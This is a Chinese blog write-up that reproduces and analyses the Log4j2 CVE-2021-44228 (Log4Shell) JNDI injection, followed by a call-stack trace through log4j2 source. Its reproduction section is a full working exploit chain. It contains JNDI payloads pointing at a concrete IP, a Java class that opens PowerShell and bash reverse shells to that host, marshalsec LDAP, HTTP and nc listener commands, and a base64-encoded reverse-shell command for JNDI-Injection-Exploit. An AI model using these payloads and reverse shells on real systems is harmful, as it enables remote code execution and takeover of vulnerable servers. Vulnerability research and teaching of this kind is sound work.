Apache Log4j2 CVE-2021-44228漏洞复现分析
前言
Log4j2
是Java开发常用的日志框架,这次的漏洞是核弹级的,影响范围广,危害大,攻击手段简单,已知可能影响到的相关应用有
Apache Solr
Apache Flink
Apache Druid
Apache Struts2
srping-boot-strater-log4j2
ElasticSearch
flume
dubbo
Redis
logstash
kafka
从使用场景上看,只要是通过log4j2
记录日志时,记录的内容可控即可触发漏洞
(error可以、info不行,详见后续分析)
影响范围
Apache Log4j2 2.0.0 ~ 2.15.0-rc1
漏洞复现
jdk版本要求
需要注意的有以下几点:
-
基于RMI的利用方式,JDK版本限制于
6u132
、7u131
、8u121
之前,在8u122及之后的版本中,加入了反序列化白名单的机制,关闭了RMI远程加载代码 -
基于LDAP的利用方式,JDK版本限制于
6u211
、7u201
、8u191
、11.0.1
之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149,关闭JNDI远程类加载 -
针对高版本的jdk,即使设置了
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
可能在利用时也会失败(vulfocus环境),具体原因未查明…表现是ldap接收到请求,但是没往http上重定向,但是本地是ok的
本地复现
使用idea构造一个测试项目,对于java的版本有要求,尽量使用jdk8u113
之前jdk8版本(如果是仅测试ldap的注入,用191之前的版本即可)
maven导入相关jar包
写一个测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Test {
private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) {
// String payload = "${jndi:ldap://gi7r4l.dnslog.cn/xx}";
// 高版本需要设置,rmi只需要把ldap改成rmi即可
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String payload = "${jndi:ldap://59.110.46.22:45708/RS45706}";
// String payload = "${jndi:rmi://59.110.46.22:45708/Calc}";
logger.error("{}", payload);
logger.info("{}", payload);
logger.info(payload);
logger.error(payload);
}
}
准备一个恶意类,以下是弹计算器以及反弹shell的利用类
弹出计算器
import java.io.IOException;
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反弹shell
import java.io.IOException;
/**
* 反弹shell用类
*/
public class RS45706 {
static {
// 静态块反弹shell
// windows操作系统使用powershell反弹
if(System.getProperties().getProperty("os.name").toLowerCase().contains("windows")) {
String reverseShellW = "powershell -nop -c \"$client = New-Object Net.Sockets.TCPClient('59.110.46.22',45706);" +
"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = " +
"$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;" +
"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" +
"$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" +
"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" +
"$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"";
try {
Runtime.getRuntime().exec(reverseShellW);
} catch (IOException e) {
e.printStackTrace();
}
} else {
// bash -i >& /dev/tcp/59.110.46.22/45706 0>&1 linux反弹命令
String reverseShellL = "bash -i >& /dev/tcp/59.110.46.22/45706 0>&1";
String[] cmd = new String[]{"/bin/bash","-c",reverseShellL};
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) {
}
}
在vps(或者是其他目标主机能访问到的机器)开启以下三个服务的端口监听
ldap
http
nc
-
ldap服务监听
这里使用的是github上的一个利用工具marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://59.110.46.22:45707/#RS45706" 45708
监听的端口为45708,指向的类设置成反弹shell的类
-
http服务监听
需要http访问的文件夹下需要放置刚刚编译好的恶意类,然后使用python快速启动一个http协议python3 -m http.server 45707 或
python -m SimpleHTTPServer 45707
-
nc监听反弹端口
nc -lvvp 45706
准备工作做完后,直接运行测试类即可看到shell被反弹到我们的vps中
靶场复现
靶场使用的是fofa的vulfocus
靶场搭建:
docker run -d -p 8088:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=your-ip vulfocus/vulfocus
admin/admin
docker搭建完成后,直接访问ip:port
,登陆后同步镜像
然后找到log4j2的镜像启动
对于靶场环境,无法直接使用本地环境的复现方式进行复现。原因未知,可能与spring的环境有关,需要深入进行研究
但是对于复现,可以使用github上的另一个工具JNDI-Injection-Exploit进行复现
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuNDYuMjIvNDU3MDYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 59.110.46.22
-C 参数接的是执行的命令
-A 是VPS-ip
这个工具会同时监听http、ldap与rmi,并生成payload
需要注意的是,只有
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://59.110.46.22:1099/hh15oi
这个payload才可以
发送此payload即可反弹
poc批量扫描思路
针对该漏洞的快速验证,可以借助dnslog,在jndi被解析并触发ldap请求时,会请求dns的解析,这样就可以判断漏洞的存在性,poc如下
${jndi:ldap://baidu.l3bkhz.dnslog.cn/xx}
漏洞分析
这个漏洞是一个标准的JDNI注入,产生漏洞的原因是因为Context.lookup()
的参数可控,导致程序请求攻击者的恶意服务器上的恶意类导致任意代码执行。
先定位一下调用栈
我们需要捋清楚的是,我们传入的数据是如何通过logger.error(payload)
最终传入到lookup()
中的,需要看住的是我们传入的语句,即message
变量
首先跟入error()
方法,这里直接调用了logIfEnabled()
在此方法中,会先判断isEnabled()
为true才继续执行
而isEnabled()
的判断是在AbstractLogger
抽象类的子类Logger
中做的
跟进filter()
这里先判断this.config.getFilter()
是否为空,而且默认的config.Filter
为空,所以不会进这里的if语句;然后后续的判断只要是level
不为空而且this.intLevel
只要大于等于log等级的intLevel
就会返回true,所以只要是intLevel
等级在200以下的都可以触发该漏洞,这类的方法有
OFF、FATAL、ERROR
其余的无法触发
接着向下跟入
logMessage() -> logMessageSafely() -> logMessageTrackRecursion() -> tryLogMessage() -> Logger.log()
前面几个由于是单方法的层层传递,就不再跟入,只需要关注的是在logMessage()
中将String类型的message封装到了Message类中即可,然后直接来到Logger.log()
中
这里判断this.privateConfig.loggerConfig.getReliabilityStrategy()
获取的对象是否是LocationAwareReliabilityStrategy
或其子类的实例
这里的strategy
默认为DefaultReliabilityStrategy
的对象实例,而DefaultReliabilityStrategy
实现了LocationAwareReliabilityStrategy
接口
所以上述的if语句会返回true
,进入89行,接着向下深入
DefaultReliabilityStrategy.log() -> LoggerConfig.log()
这里的data
参数为我们传入的语句,这里的this.propertiesRequireLookup
在我们最开始直接获取Logger对象的时候默认设置为false
然后设置props
,此处为null
然后在第279行将message
、props
等变量作为参数,创建了一个LogEvent
类的对象,这里没什么好说的,重点是将我们传入的JNDI表达式(Message对象设置到了LogEvent.messageFormat和messageText中)
然后接着跟入LoggerConfig.log()
这里会判断一次isFilter()
在AbstractFilterable
类中filter
会设置为null,而之前说的LoggerConfig
作为其子类,默认调用的是无参构造方法,没有涉及到对filter
的修改,所以此处的isFilter()
判断必为false
会进入295行的
this.processLogEvent(event, predicate);
在上图的306行有一个if判断,这里是传入的ALL
是绝对为true
的
在307行将event
对象作为参数传进了callAppenders()
方法中
这里有一个循环,但是我们重点是关注AppenderControl.callAppender()
对event
做了什么,所以直接跟进358行callAppender()
中
在第44行会将event
作为参数传入shouldSkip()
中,只有以下三个函数全为false
时才会进入45行的callAppenderPreventRecursion()
isFilteredByAppenderControl() - 判断是否有filter过滤,默认为null,返回false
isFilteredByLevel() - 判断是否通过level过滤,这里默认的level为ALL,所以默认必然为false
isRecursiveCall() - 判断是否递归调用-是则返回true
继续跟进
callAppenderPreventRecursion() -> callAppender0()
这里的isFilteredByAppender()
和之前isFilteredByAppenderControl()
的逻辑类似,也是为了判断是否有filter
过滤,默认为null
,返回false
继续跟入
tryCallAppender() -> AbstractOutputStreamAppender.append() -> tryAppend()
判断了一下Constants.ENABLE_DIRECT_ENCODERS
的值,在初始化时静态块中设置为true
跟入
directEncodeEvent() -> PatternLayout.encode()
这里先判断this.eventSerializer
是否是Serializer2
的一个实例,但是在类声明时eventSerializer
被声明成了Serializer
的对象,在构造方法进行初始化时执行了这样一条语句
this.eventSerializer = newSerializerBuilder().setConfiguration(config).setReplace(replace).setPatternSelector(patternSelector).setAlwaysWriteExceptions(alwaysWriteExceptions).setDisableAnsi(disableAnsi).setNoConsoleNoAnsi(noConsoleNoAnsi).setPattern(eventPattern).setDefaultPattern("%m%n").build();
其实只需要看看build()
方法
这个方法里出来第一块if分支,其余两个返回的类对象都同时实现了Serializer
和Serializer2
,而pattern和defaultPattern都被设置了,所以肯定会进入encode()
的else
分支
然后这里还有一个需要关注的,就是eventPattern
它其实就是event
序列化的格式,这个也被设置在了eventSerializer
中被一起传入接下来的方法
接下来跟进
toText() -> PatternSerializer.toSerializable()
注:此处的PatternSerializer为PatternLayout的内部类
406行的循环是一个重要的逻辑,最终的触发点也是在这个循环中产生的,这里的this.formatters
其实就是刚刚看的eventSerializer
的一个类属性,就结果来说,循环的每一次执行,就会向buffer
里格式化填充一块数据,每次格式化的数据如下:
(部分截图)
需要说明的是,这里忽略了具体格式化时的逻辑,因为块数据格式化时使用的逻辑可能不同,而且与漏洞无关,重要的只有处理jndi表达式那块
在循环进行到第9次,即索引为8时,会来到漏洞触发的逻辑,继续跟入
PatternFormatter.format() -> MessagePatternConverter.format()
这里首先会有一个类型判断,这里的msg是MutableLogEvent
的实例,实现了LogEvent
, ReusableMessage
, ParameterVisitable
接口,ReusableMessage
实现了StringBuilderFormattable
接口,所以类型判断是通过的
在第106行会将toAppendTo
设置给workingBuilder
(默认情况,不做渲染,走false逻辑)
然后第107行的offset
为偏移量,即从之前格式化的数据之后进行填充
然后重点看114行,这里先做了一个判断,判断config不为空,而且nolookups
为false时,进入之后的逻辑
config的判断不需要关注,需要看看的是nolookups
的判断
在初始化时noLookups
的赋值为如下语句
Constants.FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
默认为false
后面noLookupsIdx >= 0
的判断需要跟一下MessagePatternConverter
的初始化。
在初始化时会调用到两次MessagePatternConverter()
构造方法,两次options[]
都是空,那其实没必要深究了
回到
MessagePatternConverter.format()
的第116行,这里开始对JDNI表达式进行处理了
直接跟进119行
这里主要是关注我们的JNDI表达式(这里的source
)的传递,这里通过字符串构造了一个StringBuilder
的对象
StrSubstitutor.replace() -> substitute() -> substitute()
注:上述第一个substitute为重载的方法,第二个为主要的处理逻辑
进入了substitute()
发现它又臭又长,其主要作用是递归处理日志输入,转为对应的输出
我们只需要重点关注针对buf
的操作即可,针对buf的操作就只有330行else if
这块
这里的逻辑是删除JNDI表达式中间的$
,其实影响不到我们的注入语句,然后进入else分支
直接来到418行
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);
说一下传入的参数
varName - 抽取出的JNDI表达式`${}`中的内容
startPos - 0 pos的初值
pos - JNDI表达式总长的计数,我传入的payload此处值为41
跟入
resolveVariable() -> resolver.lookup()
这里主要的逻辑是先找了一波:
的位置,然后将jndi:
后面的表达式取出,赋值给name
,这里的StrLookup
中包含了多种Lookup对象,可以通过前缀来确定使用哪种lookup
最终跟入
JndiLookup.lookup()
最后就是一路带进Context.lookup()
里了
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具